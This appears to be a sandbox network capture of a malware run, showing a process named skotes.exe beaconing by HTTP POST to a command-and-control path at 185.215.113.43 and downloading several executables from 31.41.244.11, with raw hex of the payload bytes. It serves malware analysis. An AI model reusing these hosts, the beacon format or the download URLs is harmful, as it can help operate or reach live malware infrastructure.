Dec 21, 2024 18:16:26.712616920 CET	1236	IN	Data Raw: 57 c0 66 0f 7f 05 c5 f1 08 00 48 c7 05 ca f1 08 00 07 00 00 00 48 c7 05 c7 f1 08 00 08 00 00 00 c7 05 85 f1 08 00 00 00 80 3f 4c 8b c0 ba 10 00 00 00 48 8d 0d 8e f1 08 00 e8 81 f4 01 00 90 48 8d 5c 24 20 66 66 66 0f 1f 84 00 00 00 00 00 4c 8b c3 Data Ascii: WfHH?LHH\$ fffLHU`HRiH@HE`H;uLA@AHL$ xH]H$Hp]TH\$UHl$HpWD$ WfL$0AHHL$ F*WD$@
Dec 21, 2024 18:16:26.712635994 CET	1236	IN	Data Raw: 0f 04 00 48 83 ec 28 41 b9 01 00 00 00 48 8d 15 17 cf 08 00 45 33 c0 48 8d 0d 9d ce 08 00 e8 68 e4 01 00 48 8d 0d 19 db 06 00 48 83 c4 28 e9 f4 0e 04 00 40 53 48 83 ec 20 b9 01 00 00 00 e8 80 79 04 00 48 8d 0d e1 ce 08 00 48 8b d8 e8 e9 f1 01 00 Data Ascii: H(AHE3HhHH(@SH yHHHJE3HHHHH [HL*LHtHHcHLDPLHHtHHcHLDPH(HHH(<H
Dec 21, 2024 18:16:26.712654114 CET	1236	IN	Data Raw: 00 00 00 48 8b cf e8 6c 04 04 00 48 8b 5c 24 30 48 8b c7 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 8d 05 49 97 07 00 48 c7 41 10 00 00 00 00 48 89 41 08 48 8d 05 06 e6 06 00 48 89 01 48 8b c1 c3 cc cc cc cc cc cc cc cc cc cc Data Ascii: HlH\$0HH _HIHAHAHHHHHHL$ HHL$ 1&@SH HHHWHSHHH#HHHH [@SH HHHMWHSHHH#HHHHH [
Dec 21, 2024 18:16:26.712749958 CET	1236	IN	Data Raw: 3f a5 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 78 48 8d 4c 24 30 e8 42 fd ff ff 48 8d 54 24 20 48 8d 4c 24 40 0f 10 00 0f 29 44 24 20 e8 3b ff ff ff 48 8d 15 ac 92 08 00 48 8d 4c 24 40 e8 8a 21 04 00 cc cc cc cc cc cc cc cc cc Data Ascii: ?HxHL$0BHT$ HL$@)D$ ;HHL$@!H\$WH HHHHQHWHKHHH*CH\$0HHGH _H\$WH HH\|HHQHWHKHHHCH
Dec 21, 2024 18:16:26.712766886 CET	1236	IN	Data Raw: 66 89 43 30 48 89 43 38 66 89 43 40 48 89 43 48 88 43 50 48 89 43 58 88 43 60 48 85 ff 74 1a 48 8b d7 48 8b cb e8 51 c5 03 00 90 48 8b c3 48 8b 5c 24 38 48 83 c4 20 5f c3 48 8d 0d ef 8d 07 00 e8 06 c2 03 00 cc cc cc cc cc cc cc cc cc cc 48 89 5c Data Ascii: fC0HC8fC@HCHCPHCXC`HtHHQHH\$8H _HH\$WH HHKXHt3H{XHKHHtH{HHK8HtH{8HK(HtH{(HKHtH{HKHtpH{HH\$0H _A
Dec 21, 2024 18:16:26.712794065 CET	1236	IN	Data Raw: 33 d2 48 8d 4d a7 e8 44 b9 03 00 90 4c 89 75 af c6 45 b7 00 4c 89 75 bf c6 45 c7 00 4c 89 75 cf 66 44 89 75 d7 4c 89 75 df 66 44 89 75 e7 4c 89 75 ef c6 45 f7 00 4c 89 75 ff c6 45 07 00 48 85 db 0f 84 fa 00 00 00 48 8b d3 48 8d 4d a7 e8 54 c0 03 Data Ascii: 3HMDLuELuELufDuLufDuLuELuEHHHMTDvHLHHM\HFN HM8P@ H(N0V@FPNXH7HMeHMHtLuHMHtLuHMHtLuHMHtuL
Dec 21, 2024 18:16:26.712814093 CET	1236	IN	Data Raw: 8b da 49 3b d0 74 63 48 89 ac 24 80 00 00 00 48 8d 69 30 4c 89 7c 24 40 45 33 ff 0f 1f 40 00 0f 1f 84 00 00 00 00 00 0f b7 13 4c 8d 44 24 20 4c 8b cd 4c 89 7c 24 20 48 8d 4c 24 28 e8 3e da 03 00 0f b6 54 24 28 48 8d 7f 01 83 f8 01 41 0f 45 d6 48 Data Ascii: I;tcH$Hi0L\|$@E3@LD$ LL\|$ HL$(>T$(HAEHWH;uL\|$@H$HHL$0H3HHA^_^[H\$WH y H;HHtHIHK(HxH@t`HRHH\$0H _@SH`)t$PH
Dec 21, 2024 18:16:26.832425117 CET	1236	IN	Data Raw: 8b 7b 10 48 3b d7 77 18 48 89 53 10 48 8b c3 48 83 7b 18 07 76 03 48 8b 03 66 44 89 24 50 eb 53 48 8b ca 48 2b cf 4c 8b 4b 18 49 8b c1 48 2b c7 48 3b c8 77 27 48 89 53 10 4c 8b c3 49 83 f9 07 76 03 4c 8b 03 49 8d 3c 78 48 85 c9 74 07 41 0f b7 c4 Data Ascii: {H;wHSHH{vHfD$PSHH+LKIH+H;w'HSLIvLI<xHtAffE$PfDd$ LE3HHLH{vLl$ DIAHH uHH\$xH$H@A_A^A\_^H H nLL+II

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49820	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:30.383786917 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 35 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019524001&unit=246122658369
Dec 21, 2024 18:16:31.724379063 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49826	31.41.244.11	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:31.846467972 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 18:16:33.170078993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:32 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 21, 2024 18:16:33.170226097 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 21, 2024 18:16:33.170263052 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 21, 2024 18:16:33.170305014 CET	1236	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 21, 2024 18:16:33.170361042 CET	896	IN	Data Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW\|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
Dec 21, 2024 18:16:33.170398951 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 21, 2024 18:16:33.170440912 CET	224	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$A
Dec 21, 2024 18:16:33.170517921 CET	1236	IN	Data Raw: 00 85 c0 75 0b 8b 06 6a 01 57 8b ce ff 50 04 4f 47 3b 7e 08 7c d8 5f 5e c3 56 8b f1 ff 76 0c e8 cf 68 01 00 ff 36 e8 c8 68 01 00 59 59 5e c3 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 59 ff ff ff 83 c4 0c 85 c0 74 04 8b 40 0c c3 33 c0 c3 55 8b ec 83 Data Ascii: ujWPOG;~\|_^Vvh6hYY^t$t$t$Yt@3U@}u3AE@uEEP At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV
Dec 21, 2024 18:16:33.170558929 CET	1236	IN	Data Raw: ff 75 08 53 ff 75 10 ff 15 18 a1 41 00 8b 0e 88 1c 08 89 46 04 5f 8b c6 5e 5b 5d c3 55 8b ec 83 ec 0c 8d 4d f4 e8 76 e6 ff ff 83 7d fc 01 7f 0a 6a 01 8d 4d f4 e8 32 e3 ff ff 56 8b 35 14 a1 41 00 57 8b 7d 08 8b 07 6a 01 ff 75 f4 50 ff d6 85 c0 75 Data Ascii: uSuAF_^[]UMv}jM2V5AW}juPuucY7S@PPMPSuVf$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ
Dec 21, 2024 18:16:33.170607090 CET	1236	IN	Data Raw: 15 04 a1 41 00 5e c3 33 c0 5e c3 56 e8 ac fe ff ff 59 5e c3 53 8b 5c 24 0c 8b 03 83 63 04 00 66 83 20 00 56 8b 74 24 0c 57 6a 02 5f eb 08 66 3d 20 00 77 0a 03 f7 0f b7 06 66 85 c0 75 f0 66 83 3e 2c 75 0f eb 0b 66 85 c0 74 4d 66 3d 2c 00 74 47 03 Data Ascii: A^3^VY^S\$cf Vt$Wj_f= wfuf>,uftMf=,tGf={u0{t+uFf8}tF"Ff8{uPfu_^[L$Vj\%L$j/;~^VW\|$t$A~!FPPPt$
Dec 21, 2024 18:16:33.291985989 CET	1236	IN	Data Raw: 99 01 00 00 8b 45 e0 8b 1d 30 a2 41 00 46 83 65 e4 00 89 75 fc c6 00 00 eb 7c 3b 77 04 0f 8d a8 01 00 00 8b 07 8a 0c 30 46 80 f9 22 88 4d ec 89 75 fc 0f 84 ad 00 00 00 80 f9 5c 75 39 8a 04 30 46 3c 22 88 45 f0 89 75 fc 74 27 3a c1 74 1f 3c 6e 74 Data Ascii: E0AFeu\|;w0F"Mu\u90F<"Eut':t<nt<tMtj\ujjj\j"uMjhAPujhAPu#"t'\u\|0"uF0FPMu^0u<tFuhEPEP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49860	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:42.567405939 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 35 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019525001&unit=246122658369
Dec 21, 2024 18:16:43.923752069 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49866	31.41.244.11	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:44.049279928 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 18:16:45.380027056 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:45 GMT Content-Type: application/octet-stream Content-Length: 4487680 Last-Modified: Sat, 21 Dec 2024 16:10:16 GMT Connection: keep-alive ETag: "6766e868-447a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 a0 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c9 00 00 04 00 00 96 3b 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 7e c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 7e c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2pH@;E@ _pts`t~`~ PtL(@.rsrc`t\(@.idata pt^(@ 9t`(@jxwvjkblb(@srccaxxkTD@.taggant0"XD@
Dec 21, 2024 18:16:45.380072117 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 18:16:45.380192995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 18:16:45.380230904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 18:16:45.380299091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 18:16:45.380347967 CET	1236	IN	Data Raw: 65 40 67 8b 68 d3 ee c7 44 10 c6 96 ee e3 24 4e 3d 85 44 ef ee 5c 65 94 54 c6 71 70 e6 91 07 a9 08 9e d4 31 e1 0c 85 9a 19 10 0c 18 f0 19 ae fa df 5a 7d 09 6c 18 c3 bd 76 6b 9b 01 b5 5a 43 28 38 a9 bf 5f f0 dd 2f 10 23 ae 57 e1 c6 7d df bf d9 43 Data Ascii: e@ghD$N=D\eTqp1Z}lvkZC(8_/#W}C:IaE`8a,"*>W5DFxyyQ'O2G&?B{sRq(ShGPl%~XWz{@f#WqiW{A?GF_3y]/,~g&^E
Dec 21, 2024 18:16:45.380424023 CET	1236	IN	Data Raw: 4f 98 db 16 3d 51 ed 1e 78 10 c5 47 5c 1c 1b ad 46 e3 cc 0d dc a9 fe f4 42 1c 8d 9e 78 e8 88 72 25 a6 08 53 83 8e 4a 91 04 a2 8a 3e 58 db fd c8 4e 29 5c 89 9e b5 41 6f 2f 1b be 6c fb ff df 2e 1a b0 cc 11 96 95 b8 f1 e7 91 13 ed 97 75 dd 0c 77 dd Data Ascii: O=QxG\FBxr%SJ>XN)\Ao/l.uwC&PTWp8TC\YX>uL\Twl>SdBU5Fq1!h\|@H_C&616%<#Ubz{tT$bV(ytmk1P2 z
Dec 21, 2024 18:16:45.380466938 CET	1120	IN	Data Raw: e9 c0 c4 32 e8 88 fb 6e 63 d2 c3 54 9b e7 a3 31 bb 80 43 94 47 e5 3b 46 a0 95 f2 78 72 81 c9 13 2d d8 a9 7f 44 4e bc f7 4b 8c 31 75 5d f6 0f b4 f1 e8 45 11 1f 60 83 77 5a 31 7a 9d 79 7b c8 c5 ca 6e 94 0e c6 1b f6 00 cb 87 d6 ae 63 23 58 a1 44 10 Data Ascii: 2ncT1CG;Fxr-DNK1u]E`wZ1zy{nc#XDltUg$A(J(lGA"ZTh~'t,eo%~/CBR3BXQSU)Xj`;Q^x.ONI93WYhy4h\|/6L4^t^I 'HWqI)
Dec 21, 2024 18:16:45.380515099 CET	1236	IN	Data Raw: ef 89 31 83 71 c3 6d 11 b7 12 e9 ed c4 13 5a 60 6b 12 d3 a9 4e f4 71 5e d9 33 d0 91 71 e0 c0 60 31 4e 1f 63 d8 20 f2 11 c7 10 65 3f de 21 71 88 4b 4a 9e 39 79 68 c1 9d af ab 82 de 4d 82 ce 92 2a 4d a4 19 c4 b6 d8 f1 cd a8 e8 95 05 75 f6 b9 5c 4f Data Ascii: 1qmZ`kNq^3q`1Nc e?!qKJ9yhMMu\OX_tVtK4W?*yCi2AJD=8-k72gD4Pe/2OO[/DFoZbRE.BN$$YUkrUtx.d{F&?Y9xm
Dec 21, 2024 18:16:45.380551100 CET	1236	IN	Data Raw: a4 c0 84 14 18 d0 b8 cd 16 34 d2 1a c1 85 8b 3c 2b 10 8d 28 1b 7f 4d 94 da c0 bf 0f ec 50 c9 b2 1e b0 db 3e cb 3a 81 68 6b e6 f9 72 1e 48 93 c4 74 ec f7 08 a4 03 3a 23 0f 11 70 6d 55 33 a6 4d 39 86 fb 70 bf dc e1 59 ec 2b 8d 4e 13 88 f1 15 7d 0f Data Ascii: 4<+(MP>:hkrHt:#pmU3M9pY+N}wc)!{&cT0IoSShxhq{iu,LI4\IEXD&@, \I4\JXXF:6' !5:4aQZF{FyHvdQU$
Dec 21, 2024 18:16:45.500710011 CET	1236	IN	Data Raw: 1f 35 5c 09 19 cd d7 9f 7f 35 63 6b 60 4b 0d 19 0a fa 1f f6 a4 98 9c 4e 4b 45 f8 2d 7c 48 fa 88 95 8a 31 20 3e d1 c0 79 43 48 70 8e 91 4b 25 7a 19 60 9c 46 4c 0c 2b 07 11 7d 0b 86 f6 4c 85 72 ba ad 4f 78 bc 50 27 4b d3 4b 67 e5 18 ec 73 c1 20 82 Data Ascii: 5\5ck`KNKE-\|H1 >yCHpK%z`FL+}LrOxP'KKgs kO?Ai!JCAwN:(>q<S\=?c8 hgWizl i*l8EQCsS(X<6m8j~{>'ARs#J\oaQZd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49888	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:55.160285950 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 35 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019526001&unit=246122658369
Dec 21, 2024 18:16:56.505692959 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49893	31.41.244.11	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:56.628612995 CET	62	OUT	GET /files/loadman/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 18:16:57.950984001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:57 GMT Content-Type: application/octet-stream Content-Length: 1374720 Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT Connection: keep-alive ETag: "67645492-14fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
Dec 21, 2024 18:16:57.951008081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$fQft
Dec 21, 2024 18:16:57.951025963 CET	1236	IN	Data Raw: b1 fc ff ff 90 83 ec 1c 8b 44 24 20 89 04 24 e8 f1 7c 0b 00 85 c0 0f 94 c0 83 c4 1c 0f b6 c0 f7 d8 c3 90 90 90 55 89 e5 83 ec 08 8d 0d 04 a1 52 00 8d 05 20 40 54 00 89 0c 24 89 44 24 04 e8 82 23 0b 00 83 c4 08 5d c3 66 2e 0f 1f 84 00 00 00 00 00 Data Ascii: D$ $\|UR @T$D$#]f.UR @T$D$%]ffffffUEPuM uPQ]]rPQ1s]f.fUVtjPvyFtjPvd
Dec 21, 2024 18:16:57.951041937 CET	672	IN	Data Raw: 00 55 89 e5 53 57 56 8b 7d 08 8b 75 10 8b 4d 0c 8b 07 8b 5f 08 29 d8 39 f0 72 1c 8b 47 04 01 d8 56 51 50 e8 61 78 0b 00 83 c4 0c 01 f3 31 c0 89 5f 08 5e 5f 5b 5d c3 56 53 57 89 cb e8 30 78 00 00 89 d9 83 c4 0c 8b 5f 08 eb d0 66 0f 1f 44 00 00 55 Data Ascii: USWV}uM_)9rGVQPax1_^_[]VSW0x_fDUSWVD$D$L$TD$D$hjhEPuT$LRP$\$x$$9\|$t$4G\|$hD$dD$tD$,D$p$T$0\$(D$
